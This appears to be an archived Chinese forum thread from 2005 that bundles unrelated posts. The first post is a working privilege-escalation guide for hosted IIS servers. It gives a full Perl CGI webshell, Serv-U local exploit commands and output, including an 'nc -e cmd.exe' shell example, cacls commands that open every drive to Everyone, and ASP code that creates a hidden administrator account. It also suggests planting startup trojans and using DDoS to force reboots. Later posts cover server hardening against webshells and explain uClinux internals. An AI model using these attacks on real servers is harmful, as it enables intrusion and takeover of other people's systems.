Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限


4.c:\winnt\system32\inetsrv\data\
就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cgi执行,
如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir
显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回:
Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限,提交:
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
如果返回下面的信息,就表示成功了
Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready...

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain...

<200-DomainID=2

<220 Domain settings saved

******************************************************

[+] Domain xl:2 created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting...

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员:

http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"


6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升,好象效果不明显
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----密码
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$ 超级帐号建立成功!"%>


用这段代码检查是否提升成功
<%@codepage=936%>
<%Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>

8.C:\Program Files\Java Web Start\
这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。

9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。

等到主机重启或者你ddos逼它重启,来达到权限提升的目的。


总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"

以上是本人的拙见,大家有什么好的方法多多分享
WekweN
04.12.12

2005/3/25 0:49
应用扩展 工具箱


如何防止ASP木马在服务器上运行
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
如何防止ASP木马在服务器上运行

如果您的服务器正在受ASP木马的困扰,那么希望这篇文章能帮您解决您所面临的问题。

目前比较流行的ASP木马主要通过三种技术来进行对服务器的相关操作。

一、使用FileSystemObject组件

FileSystemObject可以对文件进行常规操作

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\
改名为其它的名字,如:改为FileSystemObject_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

注销此组件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll

禁止Guest用户使用scrrun.dll来防止调用此组件。
使用命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests

二、使用WScript.Shell组件

WScript.Shell可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\WScript.Shell\

HKEY_CLASSES_ROOT\WScript.Shell.1\
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

------
禁止WScript.Shell
防范此类病毒的方法就是将Windows scripting host卸载掉,具体方法是:我的电脑→控制面板→添加/删除程序→安装WINDOWS→附件→详细资料→Windows scripting host→确定。其实还有一种方法更简单,依次键入下面两段命令:regsvr32/u wshom.ocx回车、regsvr32/u wshext.dll回车,就可以把注册表中.wsh对象的注册值删掉。这样那些必须依靠对象运行的病毒就因为找不着对象而无法运行下去。
------

三、使用Shell.Application组件

Shell.Application可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\Shell.Application\

HKEY_CLASSES_ROOT\Shell.Application.1\
改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

禁止Guest用户使用shell32.dll来防止调用此组件。
使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests

注:操作均需要重新启动WEB服务后才会生效。

四、调用Cmd.exe

禁用Guests组用户调用cmd.exe

cacls C:\WINNT\system32\Cmd.exe /e /d guests

通过以上四步的设置基本可以防范目前比较流行的几种木马,但最有效的办法还是通过综合安全设置,将服务器、程序安全都达到一定标准,才可能将安全等级设置较高,防范更多非法入侵。

2005/3/25 0:23
应用扩展 工具箱


三种禁用FSO方法
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,该控件可以对服务器进行读写、新建、修改、删除目录以及文件的操作。是ASP编程中非常有用的一个控件。

但是因为权限控制的问题,很多虚拟主机服务器的FSO反而成为这台服务器的一个公开的后门,因为客户可以在自己的ASP网页里面直接就对该控件编程,从而控制该服务器甚至删除服务器上的文件。

因此不少业界的虚拟主机提供商都干脆关掉了这个控件,让客户少了很多灵活性。

三种禁用FileSystemObject组件的方法


众所周知,FileSystemObject组件的强大功能及破坏性是它屡屡被免费主页
提供商(那些支持ASP)的禁用的原因,我整理了一下,本来只找到两种方法,后来
被某人一刺激,硬是想到第三种不为人所知的方法,呵呵,也不知道是不是这样的。

第一种:用RegSvr32 /u C:\winnt\system32\scrrun.dll 来注销该组
件。此方法过于狠毒,属于同归于尽的方法,大家都没得用,是下招

第二种:修改Progid的值,在ASP里调用组件的方式通常是 Set 对象名=Server.
CreateObject("Progid"),这时候我们就可以通过修改注册表中的Progid值从达
到禁用该组件的方法。在 开始-运行中敲入regedit,然后找到HKEY_CLASSES_ROO
TScripting.FileSystemObject,这时候我们就可以更改该Progid的值了,如改
成Scripting.FileSystemObject8。这样在ASP页里就这样调用了:
<%@ Language=Vbscript%>
<%
Set Fs=Server.CreateObject("Scripting.FileSystemObject8")
%>
(如果你前面没有调用过该组件的话,则无须重启,就可以看到效果了,否则请重
启后看效果。)
这时候我们看看还是用原来的调用方法的结果:
<%@ Language=Vbscript%>
<%
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
%>
这时候的运行结果为:
服务器对象 错误 ASP 0177 : 800401f3

Server.CreateObject 失败

/aspimage/testfile2.asp, 行3

800401f3
(OK,达到我们的要求)
该方法由于本人迟了两步,结果就让别人抢着回答了,这样极大的刺激了我,结
果就产生了第三种方法。

第三种:细心的高手们会想,既然能通过修改Progid值来禁用该组件,那Clsid是否也可以来修改呢?(OK,你想得和我一样)我们知道,除了CreateObject方法以外,也可以使用一般的<object>标注建立一个组件,我们可以在ASP里面使用HTML的<object>标注,以便在网页中加入一个组件。方法是:<object runat=server id=fs1 scope=page progid="Scripting.FileSystemObject"></object>Runat表示是在服务端执行,Scope表示组件的生命周期,可以选用Session,Application或page(表示当前页面,也可缺省)这种写法对我们没用,还有一种写法是:
<object runat=server id=fs1 scope=page classid="clsid:clsid的值"></object>
我们也可以通过修改该Clsid的值而禁用该组件,如将注册表中HKEY_CLASSES_ROOTScripting.FileSystemObjectCLSID的值0D43FE01-F093-11CF-8940-00A0C9054228改成0D43FE01-F093-11CF-8940-00A0C9054229(改了最后面一位),这时候的写法为:
<object runat=server id=fs1 scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054229"></object>
看运行结果,没问题,OK。这时候我们再用
<object runat=server id=fs1 scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
这时候就出错了。

新建一用户:iusr_domain
IIS里设置对应站点的匿名用户IUSR_DOMAIN
CACLS: 设置目录权限

这样FSO可用,但不会影响别人

2005/3/25 0:22
应用扩展 工具箱


防范WEB SHELL(整理文)
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
防范WEB SHELL(整理文)

做了1年时间的虚拟主机管理员,大概对NT下的WEB SHELL的防范也有一定的了解。现在通过整理一些高手的文章来说说如何防范WEBSHELL。常见的WEBSHELL也就是ASP,PHP,PERL,这些脚本写成的。市面上比较流行的WEBSHELL也就是海阳顶端网asp木马2005、桂林老兵的ASP站长助手(不知道算不算WEBSHELL,呵呵)、蓝屏ASP木马(好象有点过时了)、安全天使的phpspy2005、咖啡的PHP文件管理器1.6、cmd.cgi(PERL的我不熟悉,只知道这个)。本文的目的也就是要防范这些WEBSHELL。
防范这些WEBSHELL,首先是设置服务器的权限,禁止他们越权访问东西。服务器权限设置可以参考沉睡不醒整理的IIS FAQ
http://fox.he100.com/showart.asp?art_id=121&cat_id=1),我这里就直接引用原文的内容了

9.如何让iis的最小ntfs权限运行?
  依次做下面的工作:
  a.选取整个硬盘:
  system:完全控制
  administrator:完全控制
  (允许将来自父系的可继承性权限传播给对象)

  b.\program files\common files:
  everyone:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)

  c.\inetpub\wwwroot:
  iusr_machinename:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)

  e.\winnt\system32:
  选择除inetsrv和centsrv以外的所有目录,
  去除“允许将来自父系的可继承性权限传播给对象”选框,复制。
  f.\winnt:
  选择除了downloaded program files、help、iis temporary compressed files、
  offline web pages、system32、tasks、temp、web以外的所有目录
  去除“允许将来自父系的可继承性权限传播给对象”选框,复制。

  g.\winnt:
  everyone:读取及运行
  列出文件目录
  读取
  (允许将来自父系的可继承性权限传播给对象)
  
  h.\winnt\temp:(允许访问数据库并显示在asp页面上)
  everyone:修改
  (允许将来自父系的可继承性权限传播给对象)

再单独对cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe设置为只允许administrators组访问,这样就可以防范通过Serv-U的本地提升权限漏洞来运行这些关键的程序了,再删除cacls.exe这个程序,防止有人通过命令行来修改权限,呵呵。
再来去掉一些ASP WEBSHELL需要使用的一些组件,这些组件其实普通的虚拟主机用户也是用不上的。
很多防范ASP木马的文章都提到要删除FileSystemObject组件,但删除了这个组件后,很多ASP的程序可能会运行不了,其实只要做好了前面的工作,FileSystemObject组件能操作的,只能是自己目录下的文件,也就构成不了什么威胁了!
现在看来,还比较有威胁的组件就是Shell.Application和Wscript.Shell这两个组件了,Shell.Application可以对文件进行一些操作,还可以执行程序,但不能带参数,而Wscript.Shell可以操作注册表和执行DOS命令。

防范Wscript.Shell组件的方法:
可以通过修改注册表,将此组件改名。
HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName自己以后调用的时候使用这个就可以正常调用此组件了
也要将clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
也可以将其删除,来防止此类木马的危害。

防范Shell.Application组件的方法:
可以通过修改注册表,将此组件改名。
HKEY_CLASSES_ROOT\Shell.Application\

HKEY_CLASSES_ROOT\Shell.Application.1\
改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName
自己以后调用的时候使用这个就可以正常调用此组件了。
也要将clsid值也改一下
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
也可以将其删除,来防止此类木马的危害。
附参考文《构建免受 Fso 威胁虚拟主机》
作者:稻香居士

  现在绝大多数的虚拟主机都禁用了 ASP 的标准组件:FileSystemObject,因为这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作(当然,这是指在使用默认设置的 Windows NT / 2000 下才能做到)。但是禁止此组件后,引起的后果就是所有利用这个组件的 ASP 将无法运行,无法满足客户的需求。
  如何既允许 FileSystemObject 组件,又不影响服务器的安全性(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)呢?这里介绍本人在实验中获得的一种方法,下文以 Windows 2000 Server 为例来说明。
  在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。
  下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。
  如下图所示,打开“计算机管理”→“本地用户和组”→“用户”,在右栏中点击鼠标右键,在弹出的菜单中选择“新用户”:
  在弹出的“新用户”对话框中根据实际需要输入“用户名”、“全名”、“描述”、“密码”、“确认密码”,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”。本例是给第一虚拟主机的用户建立一个匿名访问 Internet 信息服务的内置帐号“IUSR_VHOST1”,即:所有客户端使用 http://xxx.xxx.xxxx/ 访问此虚拟主机时,都是以这个身份来访问的。输入完成后点“创建”即可。可以根据实际需要,创建多个用户,创建完毕后点“关闭”:
  现在新建立的用户已经出现在帐号列表中了,在列表中双击该帐号,以便进一步进行设置:
  在弹出的“IUSR_VHOST1”(即刚才创建的新帐号)属性对话框中点“隶属于”选项卡:
  刚建立的帐号默认是属于“Users”组,选中该组,点“删除”:
  现在出现的是如下图所示,此时再点“添加”:
  在弹出的“选择 组”对话框中找到“Guests”,点“添加”,此组就会出现在下方的文本框中,然后点“确定”:
  出现的就是如下图所示的内容,点“确定”关闭此对话框:
  打开“Internet 信息服务”,开始对虚拟主机进行设置,本例中的以对“第一虚拟主机”设置为例进行说明,右击该主机名,在弹出的菜单中选择“属性”:
  弹出一个“第一虚拟主机 属性”的对话框,从对话框中可以看到该虚拟主机用户的使用的是“F:\VHOST1”这个文件夹:
  暂时先不管刚才的“第一虚拟主机 属性”对话框,切换到“资源管理器”,找到“F:\VHOST1”这个文件夹,右击,选“属性”→“安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),首先将最将下的“允许将来自父系的可继承权限传播给该对象”前面的对号去掉:
  此时会弹出如下图所示的“安全”警告,点“删除”:
  此时安全选项卡中的所有组和用户都将被清空(如果没有清空,请使用“删除”将其清空),然后点“添加”按钮。
  将如图中所示的“Administrator”及在前面所创建的新帐号“IUSR_VHOST1”添加进来,将给予完全控制的权限,还可以根据实际需要添加其他组或用户,但一定不要将“Guests”组、“IUSR_机器名”这些匿名访问的帐号添加上去!
  再切换到前面打开的“第一虚拟主机 属性”的对话框,打开“目录安全性”选项卡,点匿名访问和验证控制的“编辑”:
  在弹出的“验证方法”对方框(如下图所示),点“编辑”:
  弹出了“匿名用户帐号”,默认的就是“IUSR_机器名”,点“浏览”:
  在“选择 用户”对话框中找到前面创建的新帐号“IUSR_VHOST1”,双击:
  此时匿名用户名就改过来了,在密码框中输入前面创建时,为该帐号设置的密码:
  再确定一遍密码:
  OK,完成了,点确定关闭这些对话框。
  经此设置后,“第一虚拟主机”的用户,使用 ASP 的 FileSystemObject 组件也只能访问自己的目录:F:\VHOST1 下的内容,当试图访问其他内容时,会出现诸如“没有权限”、“硬盘未准备好”、“500 服务器内部错误”等出错提示了。
  另:如果该用户需要读取硬盘的分区容量及硬盘的序列号,那这样的设置将使其无法读取。如果要允许其读取这些和整个分区有关的内容,请右键点击该硬盘的分区(卷),选择“属性”→“安全”,将这个用户的帐号添加到列表中,并至少给予“读取”权限。由于该卷下的子目录都已经设置为“禁止将来自父系的可继承权限传播给该对象”,所以不会影响下面的子目录的权限设置。

附录:
参考文章:
《构建免受 Fso 威胁虚拟主机》
http://fox.he100.com/showart.asp?art_id=106&cat_id=1
IIS FAQ
http://fox.he100.com/showart.asp?art_id=121&cat_id=1
如何防止ASP木马在服务器上运行
http://fox.he100.com/showart.asp?art_id=120&cat_id=1
windows2000虚拟主机基本权限设置不完全版本
http://www.icylife.net/blog/show.php?id=40

后记废话:
头一次整理文章,弄的晕晕的,好象很乱,将就看看吧-_-!
By Blackfox
QQ:6858849
2/17/2005 10:16:31 PM

2005/3/25 0:20
应用扩展 工具箱


珍贵资料:uClinux系统分析详解
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
来 源:赛迪网 作者:华恒科技


简介

Linux是一种很受欢迎的操作系统,它与UNIX系统兼容,开放源代码。它原本被设计为桌面系统,现在广泛应用于服务器领域。而更大的影响在于它正逐渐的应用于嵌入式设备。uClinux正是在这种氛围下产生的。在uClinux这个英文单词中u表示Micro,小的意思,C表示Control,控制的意思,所以uClinux就是Micro-Control-Linux,字面上的理解就是"针对微控制领域而设计的Linux系统"。

uClinux小型化的做法

标准Linux可能采用的小型化方法

1. 重新编译内核

Linux内核采用模块化的设计,即很多功能块可以独立的加上或卸下,开发人员在设计内核时把这些内核模块作为可选的选项,可以在编译系统内核时指定。因此一种较通用的做法是对Linux内核重新编译,在编译时仔细的选择嵌入式设备所需要的功能支持模块,同时删除不需要的功能。通过对内核的重新配置,可以使系统运行所需要的内核显著减小,从而缩减资源使用量。

2. 制作root文件系统映象

Linux系统在启动时必须加载根(root)文件系统,因此剪裁系统同时包括root file system的剪裁。在x86系统下,Linux可以在Dos下,使用Loadlin文件加载启动,

uClinux采用的小型化方法

1.uClinux的内核加载方式

uClinux的内核有两种可选的运行方式:可以在flash上直接运行,也可以加载到内存中运行。这种做法可以减少内存需要。

Flash运行方式:把内核的可执行映象烧写到flash上,系统启动时从flash的某个地址开始逐句执行。这种方法实际上是很多嵌入式系统采用的方法。

内核加载方式:把内核的压缩文件存放在flash上,系统启动时读取压缩文件在内存里解压,然后开始执行,这种方式相对复杂一些,但是运行速度可能更快(ram的存取速率要比flash高)。同时这也是标准Linux系统采用的启动方式。

2.uClinux的根(root)文件系统

uClinux系统采用romfs文件系统,这种文件系统相对于一般的ext2文件系统要求更少的空间。空间的节约来自于两个方面,首先内核支持romfs文件系统比支持ext2文件系统需要更少的代码,其次romfs文件系统相对简单,在建立文件系统超级块(superblock)需要更少的存储空间。Romfs文件系统不支持动态擦写保存,对于系统需要动态保存的数据采用虚拟ram盘的方法进行处理(ram盘将采用ext2文件系统)。

3.uClinux的应用程序库

uClinux小型化的另一个做法是重写了应用程序库,相对于越来越大且越来越全的glibc库,uClibc对libc做了精简。

uClinux对用户程序采用静态连接的形式,这种做法会使应用程序变大,但是基于内存管理的问题,不得不这样做(这将在下文对uClinux内存管理展开分析时进行说明),同时这种做法也更接近于通常嵌入式系统的做法。
uClinux的开发环境

GNU开发套件

Gnu开发套件作为通用的Linux开放套件,包括一系列的开发调试工具。主要组件:

Gcc:编译器,可以做成交叉编译的形式,即在宿主机上开发编译目标上可运行的二进制文件。

Binutils:一些辅助工具,包括objdump(可以反编译二进制文件),as(汇编编译器),ld(连接器)等等。

Gdb:调试器,可使用多种交叉调试方式,gdb-bdm(背景调试工具),gdbserver(使用以太网络调试)。

uClinux的打印终端

通常情况下,uClinux的默认终端是串口,内核在启动时所有的信息都打印到串口终端(使用printk函数打印),同时也可以通过串口终端与系统交互。

uClinux在启动时启动了telnetd(远程登录服务),操作者可以远程登录上系统,从而控制系统的运行。至于是否允许远程登录可以通过烧写romfs文件系统时有用户决定是否启动远程登录服务。

交叉编译调试工具

支持一种新的处理器,必须具备一些编译,汇编工具,使用这些工具可以形成可运行于这种处理器的二进制文件。对于内核使用的编译工具同应用程序使用的有所不同。在解释不同点之前,需要对gcc连接做一些说明:

.ld(linkdescription)文件:ld文件是指出连接时内存映象格式的文件。

crt0.S:应用程序编译连接时需要的启动文件,主要是初始化应用程序栈。

pic:position independence code ,与位置无关的二进制格式文件,在程序段中必须包括reloc段,从而使的代码加载时可以进行重新定位。

内核编译连接时,使用ucsimm.ld文件,形成可执行文件映象,所形成的代码段既可以使用间接寻址方式(即使用reloc段进行寻址),也可以使用绝对寻址方式。这样可以给编译器更多的优化空间。因为内核可能使用绝对寻址,所以内核加载到的内存地址空间必须与ld文件中给定的内存空间完全相同。

应用程序的连接与内核连接方式不同。应用程序由内核加载(可执行文件加载器将在后面讨论),由于应用程序的ld文件给出的内存空间与应用程序实际被加载的内存位置可能不同,这样在应用程序加载的过程中需要一个重新地位的过程,即对reloc段进行修正,使得程序进行间接寻址时不至于出错。(这个问题在i386等高级处理器上方法有所不同,本文将在后面进一步分析)。

由上述讨论,至少需要两套编译连接工具。在讨论过uClinux的内存管理后本文将给出整个系统的工作流程以及系统在flash和ram中的空间分布。

可执行文件格式

先对一些名词作一些说明:

coff(common object file format):一种通用的对象文件格式

elf(excutive linked file):一种为Linux系统所采用的通用文件格式,支持动态连接

flat:elf格式有很大的文件头,flat文件对文件头和一些段信息做了简化

uClinux系统使用flat可执行文件格式,gcc的编译器不能直接形成这种文件格式,但是可以形成coff或elf格式的可执行文件,这两种文件需要coff2flt或elf2flt工具进行格式转化,形成flat文件。

当用户执行一个应用时,内核的执行文件加载器将对flat文件进行进一步处理,主要是对reloc段进行修正(可执行文件加载器的详见fs/binfmt_flat.c)。以下对reloc段进一步讨论。

需要reloc段的根本原因是,程序在连接时连接器所假定的程序运行空间与实际程序加载到的内存空间不同。假如有这样一条指令:

jsr app_start;

这一条指令采用直接寻址,跳转到app_start地址处执行,连接程序将在编译完成是计算出app_start的实际地址(设若实际地址为0x10000),这个实际地址是根据ld文件计算出来(因为连接器假定该程序将被加载到由ld文件指明的内存空间)。但实际上由于内存分配的关系,操作系统在加载时无法保证程序将按ld文件加载。这时如果程序仍然跳转到绝对地址0x10000处执行,通常情况这是不正确的。一个解决办法是增加一个存储空间,用于存储app_start的实际地址,设若使用变量addr表示这个存储空间。则以上这句程序将改为:

movl addr, a0;

jsr (a0);
增加的变量addr将在数据段中占用一个4字节的空间,连接器将app_start的绝对地址存储到该变量。在可执行文件加载时,可执行文件加载器根据程序将要加载的内存空间计算出app_start在内存中的实际位置,写入addr变量。系统在实际处理是不需要知道这个变量的确切存储位置(也不可能知道),系统只要对整个reloc段进行处理就可以了(reloc段有标识,系统可以读出来)。处理很简单只需要对reloc段中存储的值统一加上一个偏置(如果加载的空间比预想的要靠前,实际上是减去一个偏移量)。偏置由实际的物理地址起始值同ld文件指定的地址起始值相减计算出。

这种reloc的方式部分是由uClinux的内存分配问题引起的,这一点将在uClinux内存管理分析时说明。

针对实时性的解决方案

uClinux本身并没有关注实时问题,它并不是为了Linux的实时性而提出的。另外有一种Linux--Rt-linux关注实时问题。Rt-linux执行管理器把普通Linux的内核当成一个任务运行,同时还管理了实时进程。而非实时进程则交给普通Linux内核处理。这种方法已经应用于很多的操作系统用于增强操作系统的实时性,包括一些商用版UNIX系统,WindowsNT等等。这种方法优点之一是实现简单,且实时性能容易检验。优点之二是由于非实时进程运行于标准Linux系统,同其它Linux商用版本之间保持了很大的兼容性。优点之三是可以支持硬实时时钟的应用。uClinux可以使用Rt-linux的patch,从而增强uClinux的实时性,使得uClinux可以应用于工业控制、进程控制等一些实时要求较高的应用。

uClinux的内存管理

应该说uClinux同标准Linux的最大区别就在于内存管理,同时也由于uClinux的内存管理引发了一些标准Linux所不会出现的问题。本文将把uClinux内存管理同标准Linux的那内存管理部分进行比较分析。

标准Linux使用的虚拟存储器技术

标准Linux使用虚拟存储器技术,这种技术用于提供比计算机系统中实际使用的物理内存大得多的内存空间。使用者将感觉到好像程序可以使用非常大的内存空间,从而使得编程人员在写程序时不用考虑计算机中的物理内存的实际容量。

为了支持虚拟存储管理器的管理,Linux系统采用分页(paging)的方式来载入进程。所谓分页既是把实际的存储器分割为相同大小的段,例如每个段1024个字节,这样1024个字节大小的段便称为一个页面(page)。

虚拟存储器由存储器管理机制及一个大容量的快速硬盘存储器支持。它的实现基于局部性原理,当一个程序在运行之前,没有必要全部装入内存,而是仅将那些当前要运行的那些部分页面或段装入内存运行(copy-on-write),其余暂时留在硬盘上程序运行时如果它所要访问的页(段)已存在,则程序继续运行,如果发现不存在的页(段),操作系统将产生一个页错误(page fault),这个错误导致操作系统把需要运行的部分加载到内存中。必要时操作系统还可以把不需要的内存页(段)交换到磁盘上。利用这样的方式管理存储器,便可把一个进程所需要用到的存储器以化整为零的方式,视需求分批载入,而核心程序则凭借属于每个页面的页码来完成寻址各个存储器区段的工作。

标准Linux是针对有内存管理单元的处理器设计的。在这种处理器上,虚拟地址被送到内存管理单元(MMU),把虚拟地址映射为物理地址。

通过赋予每个任务不同的虚拟--物理地址转换映射,支持不同任务之间的保护。地址转换函数在每一个任务中定义,在一个任务中的虚拟地址空间映射到物理内存的一个部分,而另一个任务的虚拟地址空间映射到物理存储器中的另外区域。计算机的存储管理单元(MMU)一般有一组寄存器来标识当前运行的进程的转换表。在当前进程将CPU放弃给另一个进程时(一次上下文切换),内核通过指向新进程地址转换表的指针加载这些寄存器。MMU寄存器是有特权的,只能在内核态才能访问。这就保证了一个进程只能访问自己用户空间内的地址,而不会访问和修改其它进程的空间。当可执行文件被加载时,加载器根据缺省的ld文件,把程序加载到虚拟内存的一个空间,因为这个原因实际上很多程序的虚拟地址空间是相同的,但是由于转换函数不同,所以实际所处的内存区域也不同。而对于多进程管理当处理器进行进程切换并执行一个新任务时,一个重要部分就是为新任务切换任务转换表。我们可以看到Linux系统的内存管理至少实现了以下功能:

运行比内存还要大的程序。理想情况下应该可以运行任意大小的程序。

◇可以运行只加载了部分的程序,缩短了程序启动的时间

◇可以使多个程序同时驻留在内存中提高CPU的利用率

◇可以运行重定位程序。即程序可以方于内存中的任何一处,而且可以在执行过程中移动。

◇写机器无关的代码。程序不必事先约定机器的配置情况。

◇减轻程序员分配和管理内存资源的负担。

◇可以进行共享--例如,如果两个进程运行同一个程序,它们应该可以共享程序代码的同一个副本。

◇提供内存保护,进程不能以非授权方式访问或修改页面,内核保护单个进程的数据和代码以防止其它进程修改它们。否则,用户程序可能会偶然(或恶意)的破坏内核或其它用户程序。

